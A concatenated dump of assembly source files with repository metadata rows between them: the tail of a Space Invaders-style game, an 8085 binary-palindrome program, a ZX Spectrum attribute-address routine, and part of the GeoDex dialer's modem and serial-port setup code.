REFRESH_MAP map, end_drawables, 2
PAINT_MAP map
jmp game_over_screen_loop
; the movement of the aliens depends on the chosen mode
decide_alien_movement:
cmp [mode], byte 0
je move_alien
cmp [mode], byte 1
je move_alien
cmp [mode], byte 2
je move_alien
cmp [mode], byte 7
je move_alien
cmp [mode], byte 3
je move_alien_randomly
cmp [mode], byte 4
je move_alien_randomly
cmp [mode], byte 5
je move_alien_randomly
cmp [mode], byte 6
je move_alien
change_wallpaper_end:
inc byte [end_wallpaper + 8]
cmp byte [end_wallpaper + 8], 16
je mod_16_end
ret_mod_16_end:
jmp ret_change_walpaper_end
change_wallpaper_ini2:
inc byte [pause_wallpaper + 8]
cmp byte [pause_wallpaper + 8], 16
je mod_16_ini2
ret_mod_16_ini2:
jmp ret_change_walpaper_ini2
mod_16_end:
mov [end_wallpaper + 8], byte 1
jmp ret_mod_16_end
change_wallpaper_ini:
inc byte [ini_wallpaper + 8]
cmp byte [ini_wallpaper + 8], 16
je mod_16_ini
ret_mod_16_ini:
jmp ret_change_walpaper_ini
mod_16_ini2:
mov [pause_wallpaper + 8], byte 1
jmp ret_mod_16_ini2
mod_16_ini:
mov [ini_wallpaper + 8], byte 1
jmp ret_mod_16_ini
; generate aliens so the game will never end
generate_aliens:
mov ecx, [aliens_amount]
mov edi, alien
ciclo7:
cmp byte [edi + 6], 0
je continue7
rdtsc
xor edx, edx
mov ebx, 75
div ebx
add edx, 2
mov [edi + 4], byte 1
mov [edi + 5], dl
mov [edi + 6], byte 0
inc dword [living_aliens]
continue7:
add edi, 12
loop ciclo7
jmp generate_aliens_ret
move_all_shots:
MOVE_SHOTS alien_shots_amount, alien_shots
MOVE_SHOTS ship_shots_amount, ship2_shots
MOVE_SHOTS ship_shots_amount, ship_shots
MOVE_ULTRASHOT ultrashot
MOVE_SHOTS eternal_shot_amount, eternal_shot
jmp move_shots_ret
;moving aliens in a line
;esi aliens
;ecx amount of aliens
move_alien:
cmp byte [esi + 5], 77
je jump_change_direction
cmp byte [esi + 5], 2
je jump_change_direction
jump:
cmp byte [esi + 7], 1
je jump_move_right
cmp byte [esi + 7], 0
je jump_move_left
ciclo2:
add esi, 12
loop move_alien
xor esi, esi
jmp move_alien_ret
ret
jump_change_direction:
CHANGE_DIRECTION esi
inc byte [esi + 4]
jmp jump
jump_move_right:
MOVE_RIGHT esi
jmp ciclo2
jump_move_left:
MOVE_LEFT esi
jmp ciclo2
;moving aliens randomly
; esi pointer to aliens
; ecx total amount of aliens
move_alien_randomly:
pusha
xor eax, eax
xor ebx, ebx
xor edx, edx
mov ebx, 4
rdtsc
xor edx, edx
foreach:
cmp byte [esi + 6], 1
je continue5
div ebx
cmp edx, 0
je try_move_down
cmp edx, 1
je try_move_up
cmp edx, 2
je try_move_right
cmp edx, 3
je try_move_left
continue5:
add esi, 12
loop foreach
popa
jmp move_alien_ret
try_move_down:
cmp byte [esi + 4], 22
je not_possible_down
MOVE_DOWN esi
jmp continue5
not_possible_down:
cmp byte [mode], 4
je alien_disappears
jmp try_move_up
try_move_up:
cmp byte [esi + 4], 1
je not_possible_up
MOVE_UP esi
jmp continue5
not_possible_up:
jmp try_move_down
try_move_right:
cmp byte [esi + 5], 77
je not_possible_right
MOVE_RIGHT esi
jmp continue5
not_possible_right:
jmp try_move_down
try_move_left:
cmp byte [esi + 5], 2
je not_possible_left
MOVE_LEFT esi
jmp continue5
not_possible_left:
jmp try_move_down
alien_disappears:
mov [esi + 6], byte 1
dec dword [living_aliens]
cmp dword [points + 4], 100
jb not_enough_points
sub dword [points + 4], 100
jmp continue5
not_enough_points:
mov [points + 4], dword 0
jmp continue5
;alien_shooting(esp + 4: pos of the alien who shot)
;returns the memory direction of the alien
alien_shooting:
mov ecx, [esp + 4]
inc ecx
mov eax, alien
mov ebx, 0
ciclo6:
cmp byte [eax + ebx + 6], 0
jne continue4
dec ecx
continue4:
add ebx, 12
cmp ecx, 0
ja ciclo6
sub ebx, 12
add eax, ebx
ret
;this method tells the aliens where to shoot in space_shooter mode
intelligent_aliens:
xor ebx, ebx
mov bl, [alien_shots_amount]
xor edx, edx
mov dl, [ship + 4]
cmp [eax + 4], dl
ja shoot_up
jb shoot_down
xor edx, edx
mov dl, [ship + 5]
cmp [eax + 5], dl
ja shoot_left
jmp shoot_right
.end:
xor ebx, ebx
xor edx, edx
jmp intelligent_aliens_ret
shoot_up:
CREATE_SHOT ebx, alien_shots, dword 1, eax
jmp intelligent_aliens.end
shoot_down:
CREATE_SHOT ebx, alien_shots, dword 0, eax
jmp intelligent_aliens.end
shoot_right:
CREATE_SHOT ebx, alien_shots, dword 4, eax
jmp intelligent_aliens.end
shoot_left:
CREATE_SHOT ebx, alien_shots, dword 5, eax
jmp intelligent_aliens.end
;this function is only called when our ship was the one who shot
the_ship_shot:
cmp byte [ship + 6], 0
je .end
xor edx, edx
mov dl, [ship_shots_amount]
CREATE_SHOT edx, ship_shots, dword 1, ship
.end:
ret
the_ship_shot_down:
cmp byte [ship + 6], 0
je .end
xor edx, edx
mov dl, [ship_shots_amount]
CREATE_SHOT edx, ship_shots, dword 0, ship
.end:
ret
the_ship_shot_left:
cmp byte [ship + 6], 0
je .end
xor edx, edx
mov dl, [ship_shots_amount]
CREATE_SHOT edx, ship_shots, dword 5, ship
.end:
ret
the_ship_shot_right:
cmp byte [ship + 6], 0
je .end
xor edx, edx
mov dl, [ship_shots_amount]
CREATE_SHOT edx, ship_shots, dword 4, ship
.end:
ret
;this function will only be called in the two_players mode
the_ship2_shot:
cmp byte [ship2 + 6], 0
je .end
xor edx, edx
mov dl, [ship_shots_amount]
CREATE_SHOT edx, ship2_shots, dword 1, ship2
.end:
ret
;this is for cheating
add_lives:
cmp byte [ship + 6], 10
jae .end
add [ship + 6], byte 3
.end:
ret
deactivate:
mov [lethal_line + 6], byte 1
jmp deactivate_ret
decide_mode_lives:
cmp byte [mode], 0 ; easy mode
je easy_lives
cmp byte [mode], 1 ; medium mode
je medium_lives
cmp byte [mode], 2 ; hard mode
je hard_lives
cmp byte [mode], 3 ; crazy aliens mode
je medium_lives
cmp byte [mode], 4 ; space_shooter
je medium_lives
cmp byte [mode], 5 ; arcade mode
je medium_lives
cmp byte [mode], 6 ; two players mode
je two_players_lives
cmp byte [mode], 7 ; mirror mode
je two_players_lives
.end:
ret
easy_lives:
mov [ship + 6], byte 5
mov [ship2 + 6], byte 0
jmp decide_mode_lives.end
medium_lives:
mov [ship + 6], byte 3
mov [ship2 + 6], byte 0
jmp decide_mode_lives.end
hard_lives:
mov [ship + 6], byte 1
mov [ship2 + 6], byte 0
jmp decide_mode_lives.end
two_players_lives:
mov [ship + 6], byte 3
mov [ship2 + 6], byte 3
decide_aliens_velocity:
cmp byte [mode], 0 ; easy mode
je easy_velocity
cmp byte [mode], 1 ; medium mode
je medium_velocity
cmp byte [mode], 2 ; hard mode
je hard_velocity
cmp byte [mode], 3 ; crazy aliens mode
je medium_velocity
cmp byte [mode], 4 ; space_shooter
je easy_velocity
cmp byte [mode], 5 ; arcade mode
je easy_velocity
cmp byte [mode], 6 ; two players mode
je hard_velocity
cmp byte [mode], 7 ; mirror mode
je hard_velocity
.end:
ret
easy_velocity:
mov eax, 250
jmp decide_aliens_velocity.end
medium_velocity:
mov eax, 250
cmp dword [living_aliens], 20
ja .continue
mov eax, 100
cmp dword [living_aliens], 8
ja .continue
mov eax, 50
cmp dword [living_aliens], 3
ja .continue
mov eax, 25
.continue:
jmp decide_aliens_velocity.end
hard_velocity:
mov eax, 50
cmp dword [living_aliens], 8
ja .continue
mov eax, 25
.continue:
jmp decide_aliens_velocity.end
timer_for_shooting:
cmp byte [mode], 0 ; easy mode
je easy_shot
cmp byte [mode], 1 ; medium mode
je easy_shot
cmp byte [mode], 2 ; hard mode
je hard_shot
cmp byte [mode], 3 ; crazy aliens mode
je hard_shot
cmp byte [mode], 4 ; space_shooter
je arcade_shot
cmp byte [mode], 5 ; arcade mode
je arcade_shot
cmp byte [mode], 6 ; two players mode
je hard_shot
cmp byte [mode], 7 ; mirror mode
je hard_shot
.end:
ret
easy_shot:
mov eax, 1000
jmp timer_for_shooting.end
hard_shot:
mov eax, [random]
inc eax; just in case random is 0
shl eax, 7
jmp timer_for_shooting.end
arcade_shot:
mov eax, 500
jmp timer_for_shooting.end
infinite_move:
cmp byte [mode], 5
je infinite_mode
cmp byte [mode], 4
je infinite_mode
.end:
ret
infinite_mode:
cmp eax, 0
jne generate_aliens
generate_aliens_ret:
jmp infinite_move.end
random_dropping:
rdtsc
xor edx, edx
mov ebx, 1000
div ebx
;mov edx, 34
cmp edx, 10
jb drop_it
drop_it_end:
mov [drop_box], byte 0
jmp random_dropping_end
drop_it:
push dword surprise_box
call create_box
add esp, 4
jmp drop_it_end
move_box:
MOVE_BOX surprise_box
jmp move_box_end
check_status:
cmp byte [surprise_box + 6], 1
jne check_end
mov byte [drop_box], 1
jmp check_end
generate_weapon:
mov byte [box_destroyed], 0 ;restore bool to false
rdtsc
xor edx, edx
xor ebx, ebx
mov bl, [weapons_amount]
div ebx
xor eax, eax
mov eax, edx
mov edx, 4
mul edx
mov ecx, [special_weapons + eax]
mov [current_weapon], ecx
mov [bool_current], byte 1
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
jmp generate_weapon_end
use_weapon:
cmp byte [bool_current], 0
je not_used
mov eax, [current_weapon]
CREATE_ESPECIAL_SHOTS eax, [eax + 8]
mov [bool_current], byte 0
not_used:
ret
enter_game:
mov [game_start], byte 1
ret
restart_game:
mov [game_start], byte 0
ret
name_taked:
mov eax, [name]
mov [new_puntation], eax
mov eax, [points + 4]
mov [new_puntation + 4], eax
ADD_PUNCTUATION new_puntation, punctuation
mov [game_start], byte 0
ret
make_pause:
mov [game_start], byte 11
ret
exit_puntation:
mov [game_start], byte 10
ret
exit_pause:
mov [game_start], byte 20
ret
get_input_puntation_screen:
call scan
push ax
bind KEY.ENTER, exit_puntation
add esp, 2
ret
get_input_game_over_screen:
call scan
push ax
TAKE_NAME name, ax
bind KEY.ENTER,name_taked
add esp, 2
ret
get_input_pause_screen:
call scan
push ax
bind_move KEY.UP, MOVE_UP_CARTEL, index
bind_move KEY.DOWN, MOVE_DOWN_CARTEL, index
bind KEY.ENTER, exit_pause
add esp, 2
ret
get_input_first_screen:
call scan
push ax
bind_move KEY.UP, MOVE_UP_CARTEL, index
bind_move KEY.DOWN, MOVE_DOWN_CARTEL, index
bind KEY.ENTER, enter_game
add esp, 2
ret
get_input:
call scan
push ax
; The value of the input is on 'word [esp]'
; Your bindings here
bind KEY.Esc, make_pause
; bind_move KEY.UP, MOVE_UP, ship
; bind_move KEY.DOWN, MOVE_DOWN, ship
bind_move KEY.RIGHT, MOVE_RIGHT, ship
bind_move KEY.LEFT, MOVE_LEFT, ship
cmp byte [mode], 7
jne not_mirror_mode
;bind_move KEY.UP, MOVE_UP, ship2
;bind_move KEY.DOWN, MOVE_DOWN, ship2
bind_move KEY.RIGHT, MOVE_LEFT, ship2
bind_move KEY.LEFT, MOVE_RIGHT, ship2
bind KEY.Spc, the_ship2_shot
not_mirror_mode:
cmp byte [mode], 4
jne not_space_shooter_mode
bind_move KEY.UP, MOVE_UP, ship
bind_move KEY.DOWN, MOVE_DOWN, ship
bind KEY.W, the_ship_shot
bind KEY.S, the_ship_shot_down
bind KEY.D, the_ship_shot_right
bind KEY.A, the_ship_shot_left
jmp it_was_ss_mode
not_space_shooter_mode:
bind KEY.Spc, the_ship_shot
it_was_ss_mode:
bind KEY.Q, use_weapon
bind KEY.1, add_lives
cmp byte [mode], 6
jne not_two_players_mode
;this will only happen if it is two_players mode
;bind_move KEY.W, MOVE_UP, ship2
;bind_move KEY.S, MOVE_DOWN, ship2
bind_move KEY.D, MOVE_RIGHT, ship2
bind_move KEY.A, MOVE_LEFT, ship2
bind KEY.E, the_ship2_shot
not_two_players_mode:
add esp, 2 ; free the stack
ret
| 23.088255 | 108 | 0.574407 |
5a3e1a2bcc843e56fdfd8d85aa3c8550afd63e4d | 661 | asm | Assembly | WEEK-8/6.asm | ShruKin/Microprocessor-and-Microcontroller-Lab | 279c1432f0dee01fae37dc8fcb1dcb798e5725d8 | [
"MIT"
] | null | null | null | WEEK-8/6.asm | ShruKin/Microprocessor-and-Microcontroller-Lab | 279c1432f0dee01fae37dc8fcb1dcb798e5725d8 | [
"MIT"
] | null | null | null | WEEK-8/6.asm | ShruKin/Microprocessor-and-Microcontroller-Lab | 279c1432f0dee01fae37dc8fcb1dcb798e5725d8 | [
"MIT"
] | null | null | null | LDA 8000 // Load the number into A
MOV H,A // Move Acc to H
MVI C,08 // InitializeCounter
LOOP: MOV A,H // Load H to Acc
RLC // Rotate Left
MOV H,A // Get back Accto H
MOV A,D // Load D content into Acc
RAR // Rotate Right through carry
MOV D,A // Get back Acc to D
DCR C // Decrease C
JNZ LOOP // Jump to LOOPif Z = 0
MOV A,H // Load H data to Acc
CMP D // Compare D with Acc
JZ TRUE // If both are same, it is palindrome
MVI A,00 // Load 00H intoA
JMP EXIT // Jump to Exit
TRUE: MVI A,FF // Load FFH into A
EXIT: STA 8050 // Store the result into memory
HLT // Terminate the program
| 28.73913 | 49 | 0.605144 |
7388b9ab1e77f355d78ff945bd3ba11f6506ca2f | 793 | asm | Assembly | libsrc/_DEVELOPMENT/arch/zx/display/z80/asm_zx_pxy2aaddr.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/_DEVELOPMENT/arch/zx/display/z80/asm_zx_pxy2aaddr.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/_DEVELOPMENT/arch/zx/display/z80/asm_zx_pxy2aaddr.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z |
; ===============================================================
; Jun 2007
; ===============================================================
;
; void *zx_pxy2aaddr(uchar x, uchar y)
;
; Attribute address corresponding to pixel coordinate x, y.
;
; ===============================================================
INCLUDE "config_private.inc"
SECTION code_clib
SECTION code_arch
PUBLIC asm_zx_pxy2aaddr
asm_zx_pxy2aaddr:
; enter : l = x coordinate
; h = valid y coordinate
;
; exit : hl = attribute address corresponding to pixel
;
; uses : af, hl
srl l
srl l
srl l
ld a,h
rlca
rlca
ld h,a
and $e0
or l
ld l,a
ld a,h
and $03
IF __USE_SPECTRUM_128_SECOND_DFILE
or $d8
ELSE
or $58
ENDIF
ld h,a
ret
| 15.25 | 65 | 0.462799 |
932cc54f7a7341e24943d564885b2cba03634edb | 55,072 | asm | Assembly | Appl/GeoDex/Dial/dialModem.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 504 | 2018-11-18T03:35:53.000Z | 2022-03-29T01:02:51.000Z | Appl/GeoDex/Dial/dialModem.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 96 | 2018-11-19T21:06:50.000Z | 2022-03-06T10:26:48.000Z | Appl/GeoDex/Dial/dialModem.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 73 | 2018-11-19T20:46:53.000Z | 2022-03-29T00:59:26.000Z | COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1990 -- All Rights Reserved
PROJECT: GeoDex
MODULE: Dial
FILE: dialModem.asm
AUTHOR: Ted H. Kim, 1/4/90
ROUTINES:
Name Description
---- -----------
InitComUse Initializes the baud rate and other stuff
CloseComPort Close up the serial port
CheckInput Notification routine for serial port input
TimedOut Gets called when timed out after connecting
ReadIniFile Reads in serial port settings from geos.ini file
SetSerialPart1 Sets internal serial port settings
SetSerialPart2 Sets more serial port settings
SearchString2 Searches for a word in a string
OpenComPort Open up a com port for communication
DialUp Makes a phone call
PreparePhoneCall Sets up the modem for voice communication
DialTheNumber Dials the number given
GetPhoneNumber Grabs the complete phone number to display
GetAreaCode Grabs the area code to display
CheckForNumber Checks to see if a char is a numeric character
AddOtherNumbers Dials prefix or area code if there are any
EndPhoneCall Terminates the phone call
REVISION HISTORY:
Name Date Description
---- ---- -----------
ted 1/4/90 Initial revision
ted 3/92 Complete restructuring for 2.0
DESCRIPTION:
This file contains all the modem related routines.
$Id: dialModem.asm,v 1.1 97/04/04 15:49:47 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
Init segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
InitComUse
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Set up variables for using the Serial Driver routines.
CALLED BY: RolodexOpenApp
PASS: serialPort - set to a usuable com port
RETURN: all serial variables initialized
serialHandle - handle of serial driver
DESTROYED: ax, bx, cx, dx, si, di
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
ted 1/29/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
InitComUse proc near
clr ds:[lastModified]
clr ds:[lastModified+2] ; initialize time stamp
mov ds:[changeFlag], 0 ; initialize change flag
mov ds:[toneType], -1 ; initialize to touch tone
mov ds:[serialPort], SERIAL_COM1 ; default com port - com one
mov ds:[serialBaud], SB_1200 ; assume 1200 bps
mov ds:[serialHS], SM_COOKED ; handshake info
mov ds:[serialFlow], mask SFF_SOFTWARE ; assume software flow
mov ds:[serialFormat], SerialFormat<0,0,SP_NONE,0,SL_8BITS>
mov ds:[serialModem], mask SMC_RTS or mask SMC_DTR
mov ds:[serialModemStatus], mask SMS_CTS or mask SMS_DCD or \
mask SMS_DSR
mov bx, handle serial
mov ds:[serialHandle], bx ; save handle of serial driver
mov ax, ds ; save our seg register
call GeodeInfoDriver ; get ptr to info table
mov bx, ds:[si].DIS_strategy.offset ; get the routine offset
mov dx, ds:[si].DIS_strategy.segment; get routine segment
mov ds, ax ; restore ds
mov ds:serialDriver.offset, bx ; store driver offset
mov ds:serialDriver.segment, dx ; store driver segment
mov ds:[portOpen], PORT_NOT_OPEN ; serial port is not open yet
ret
InitComUse endp
Init ends
Exit segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CloseComPort
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Close the com port
CALLED BY: UTILITY
PASS: serialPort - com port to close
RETURN: carry set if error
DESTROYED: ax, bx, cx, dx, di, si
REVISION HISTORY:
Name Date Description
---- ---- -----------
ted 1/29/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CloseComPort proc far
tst ds:[serialHandle] ; was serial driver loaded?
je noError ; if not, exit
cmp ds:[serialPort], NO_PORT ; was serial port open?
je noError ; if not, exit
cmp ds:[portOpen], PORT_NOT_OPEN ; if port not open,
je noError ; exit
cmp ds:[portOpen], NO_MODEM ; if there is no modem,
je noError ; exit
mov bx, ds:[serialPort] ; bx - com port to close up
mov ax, STREAM_BOTH
CallSer DR_STREAM_FLUSH ; flush any input
mov ax, STREAM_DISCARD ; make sure port is empty
CallSer DR_STREAM_CLOSE ; then close it
;mov ds:[serialPort], NO_PORT ; no port is open
mov ds:[portOpen], PORT_NOT_OPEN
jmp short exit
noError:
clc
exit:
ret
CloseComPort endp
Exit ends
Fixed segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CheckInput
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Notification routine for serial input - i.e. this is
the routine that gets called whenever there is a new
character to be read in serial port.
CALLED BY: Serial Driver
PASS: cx - segment address of dgroup
al - character to be read in
RETURN: carry set if the character is processed
new character is stored in inputBuffer
offsetInput is updated
DESTROYED: bx
KNOWN BUGS/SIDE EFFECTS/IDEAS:
This routine has to be in fixed code module
so I can do stuff like 'mov bx, segment dgroup'.
REVISION HISTORY:
Name Date Description
---- ---- -----------
Ted 1/29/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CheckInput proc far
push ds
push si ; save ds and si
mov ds, cx
mov si, ds:[offsetInput] ; ds:si - pointer to input buffer
mov ds:[si], al ; store the new character
inc ds:[offsetInput] ; update the offset
pop si
pop ds ; restore ds and si
stc ; the character has been processed
ret
CheckInput endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
TimedOut
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Routine that gets called when dialing times out
CALLED BY: Kernel
PASS: ax - handle of DialSummons object
RETURN: nothing
DESTROYED: ax, bx, dx, si, di
PSEUDO CODE/STRATEGY:
Set DialSummons unusable.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Ted 3/7/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
TimedOut proc far
mov si, offset DialSummons ; bx:si - OD of DialSummons
mov bx, ax
mov ax, MSG_GEN_SET_NOT_USABLE ; make the summons not usable
mov dl, VUM_DELAYED_VIA_UI_QUEUE ; VisUpdateMode => DL
clr di ; not a call
call ObjMessage ; make dialogue box disappear
ret
TimedOut endp
Fixed ends
Modem segment resource
BaudToConst label word
; first column is how the user will specify the baud rate
; second column is the corresponding baud rate constant
word 300, SB_300
word 600, SB_600
word 1200, SB_1200
word 2400, SB_2400
word 4800, SB_4800
word 9600, SB_9600
word 19200, SB_19200
End_BaudToConst label word
Length_BaudToConst equ (End_BaudToConst - BaudToConst) / (2*(size word))
; modem key and category strings in GEOS.INI file
modemString char 'modem', 0
modemKeyString char 'modems', 0 ; == string
portString char 'port', 0 ; == string (com1,com2,com3)
toneString char 'toneDial', 0 ; == boolean
baudString char 'baudRate', 0 ; == intger (2400,9600,19200)
handShakeString char 'handshake', 0 ; == low-string(n*,h*,s*)
parityString char 'parity', 0 ; == low-string(one,none,even,odd)
wordLenString char 'wordLength', 0 ; == intger (5,6,7,8)
stopBitsString char 'stopBits', 0 ; == low-string(,2)
remoteString char 'stopRemote', 0 ; == low-string(,d*)
localString char 'stopLocal', 0 ; == low-string(*cts,*dcd,*dsr)
; Strings in .ini file under "stopLocal=" (must be lower case)
;
LocalDefNLString ctsString, <'cts', 0>
LocalDefNLString dcdString, <'dcd', 0>
LocalDefNLString dsrString, <'dsr', 0>
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ReadIniFile
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Reads in serial port settings from geos.ini file
CALLED BY: OpenComPort
PASS: ds - dgroup
RETURN: various settings read in
DESTROYED: ax, bx, cx, dx, si, di
PSEUDO CODE/STRATEGY:
Read "[modem]modems=" to see which modem we're to use.
If DBCS, convert modem name to SBCS since categories
must be SBCS (sigh).
With the modem name as a category name, get its settings.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
Keys are always stored in SBCS. Numeric values are SBCS.
String values are in DBCS or SBCS depeing on kernel compile.
REVISION HISTORY:
Name Date Description
---- ---- -----------
Ted 4/26/90 Initial version
witt 1/20/94 Overhaul and cleanup, DBCS-ized too!
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ReadIniFile proc near
push ds
segmov ds, cs, ax
mov si, offset modemString ; ds:si - category string
mov cx, ds
mov dx, offset modemKeyString ; cx:dx - key string
clr bp ; allocate a buffer for string
call InitFileReadString ; find modem name to use
; bx - entry handle
pop ds
jnc noError ; if found, skip
empty:
mov ds:[portOpen], NO_MODEM ; set no modem flag
jmp short exit ; and quit
noError:
tst cx ; is there a string?
jne notEmpty ; if not, skip
call MemFree ; delete this block
jmp empty ; set flag and exit
notEmpty:
push bx ; save the handle
call MemLock ; lock the data block
mov es, ax
clr di ; es:di - ptr to modem names
DBCS < clr si ; es:si - ptr DBCS modem name>
miniLoop:
if DBCS_PCGEOS
; NOTE for DBCS:
; As strings in Ini file are in unicode, and keyword strings
; are still ASCIIZ, we have to convert them for further use.
; C_NULL or C_CR are terminators.
mov ax, {wchar} es:[si] ; get a character
LocalIsNull ax ; are we end of buffer?
je found ; if so, exit the loop
cmp ax, C_CR ; is this a CR character
je found ; if so, exit the loop
EC < cmp ax, 127 ; Is char Unicode unique? >
EC < ERROR_AE 0 ; Yes, bitch loudly! >
stosb ; es:di <- Ascii(AX)
LocalNextChar essi ; otherwise, check the next char
jmp miniLoop
else
cmp {byte} es:[di], 0 ; are we end of buffer?
je found ; if so, exit the loop
cmp {byte} es:[di], C_CR ; is this a CR character
je found ; if so, exit the loop
inc di ; otherwise, check the next char
jmp miniLoop
endif
; Use name at es:0 at category string to read in options for
; this particular modem. ds = segment where keywords string stored.
found:
LocalClrChar es:[di] ; null terminate the string >
push ds ; save seg addr of core block
call SetSerialPart1 ; read in serial port info
call SetSerialPart2 ; from geos.ini file
pop ds ; restore seg addr of core block
pop bx ; bx - handle of mem block
call MemFree ; free this block
cmp ds:[portOpen], NO_MODEM ; no modem flag set?
jne exit ; if not, exit
mov ds:[portOpen], PORT_NOT_OPEN ; serial port is not open yet
exit:
ret
ReadIniFile endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SetSerialPart1
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Reads in serial port setting information from geos.ini file
CALLED BY: ReadIniFile
PASS: es:0 - points to category string
ds - segment address of core block
RETURN: nothing
DESTROYED: ax, bx, cx, dx, di, bp, ds, es
PSEUDO CODE/STRATEGY:
Initialize variables to default settings
Check for tone type (boolean)
If found, assing new tone type (-1,0)
Check for serial port string (string: com1,com2,com3,com4)
If found, assign new port number (0,1,2,3)
Check for baud rate string (integer)
If found, assign new baud rate
Check for parity string (string:odd,even,none,one)
If found, assign new parity bit info
Check for word length string
If found, assign new word length info
Check for stop bits string ; if exists, assume it is 2.
If found, assign new stop bit to 2.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
The parity string is not easily localized without rewriting code.
REVISION HISTORY:
Name Date Description
---- ---- -----------
Ted 4/13/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SetSerialPart1 proc near
push es ; exchange ds with es
push ds
pop es ; es - seg addr of core block
pop ds ; ds - seg addr of data block
; check to see whether touch or pulse tone dialing
clr si ; ds:si - category string
mov cx, cs
mov dx, offset toneString ; cx:dx - key string
call InitFileReadBoolean ; get tone type
jc noEntry ; skip if no entry
mov es:[toneType], ax ; save the result
; -1 = touch, 0 = pulse tone
noEntry:
; check for port number
clr si ; ds:si - category string
mov cx, cs
mov dx, offset portString ; cx:dx - key string
clr bp ; allocate a buffer for string
call InitFileReadString ; find the serial port to use
jc getBaud ; if not found, get baud rate
jcxz noChange1
; if found, get the port number
push es ; save seg addr of core block
call MemLock
mov es, ax
if DBCS_PCGEOS
mov di, 3*(size wchar) ; es:di - ptr to port number
mov dx, {wchar} es:[di] ; dx - port number
else
mov di, 3*(size char) ; es:di - ptr to port number
mov dl, {char} es:[di] ; dl - port number in ASCII
clr dh
endif
sub dx, '0' ; dx - port number in integer
dec dx ; sub one to adjust
shl dx, 1 ; dx - com port number
pop es ; es - core block
cmp es:[serialPort], dx ; store the port number
je noChange1
ornf es:[changeFlag], mask SSCF_PORT ; port number is changed
mov es:[newPortNum], dx ; save the new port number
noChange1:
call MemFree ; delete the data block
getBaud:
; check for baud rate
mov cx, cs
mov dx, offset baudString ; cx:dx - key string
call InitFileReadInteger ; find the baud rate to use
jc getParity ; if not found, skip
; if found, look up the corresponding constants
clr di ; index into BaudToConst table
mov cx, Length_BaudToConst ; number of entries in table
EC< cmp cx, 7 ; check vs original code; witt >
